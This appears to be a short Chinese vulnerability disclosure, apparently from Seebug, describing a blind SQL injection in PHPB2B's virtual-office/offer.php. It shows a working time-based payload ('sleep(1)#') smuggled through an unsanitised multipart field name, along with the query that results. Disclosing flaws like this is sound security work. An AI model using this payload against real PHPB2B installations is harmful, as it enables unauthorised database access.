### 简要描述：
PHPB2B某处注入。绕过过滤。
### 详细说明：
官方最新版本.
https://github.com/ulinke/phpb2b/archive/master.zip
漏洞文件。virtual-office/offer.php
POST /virtual-office/offer.php
Content-Disposition: form-data; name="data[trade][type_id]
Content-Disposition: form-data; name="data[trade][adwords]
Content-Disposition: form-data; name="data[trade][price]
Content-Disposition: form-data; name="data[trade][country_id]
...
...
data[trade][*] 字段名未经过处理。
Content-Disposition: form-data; name="data[trade][price FROM pb_thk_trades where 1=1 and sleep(1)#]"
SELECT price FROM pb_thk_trades where 1=1 and sleep(1)#,country_id,content,status,tag_ids,cache_contacts,industry_id,area_id,highlight,formattribute_ids,modified FROM pb_thk_trades WHERE id='84' AND member_id='3'
### 漏洞证明：
由于程序默认屏蔽错误信息。可延时盲注入。
本地测试开启debug
[<img src="https://images.seebug.org/upload/201410/250140244cc4a6f9841d701fab8e2fe1422dc803.jpg" alt="p1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/250140244cc4a6f9841d701fab8e2fe1422dc803.jpg)
数据库日志：
[<img src="https://images.seebug.org/upload/201410/250137277aa3c745a2007f1fcc512be3387451e3.jpg" alt="p.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/250137277aa3c745a2007f1fcc512be3387451e3.jpg)
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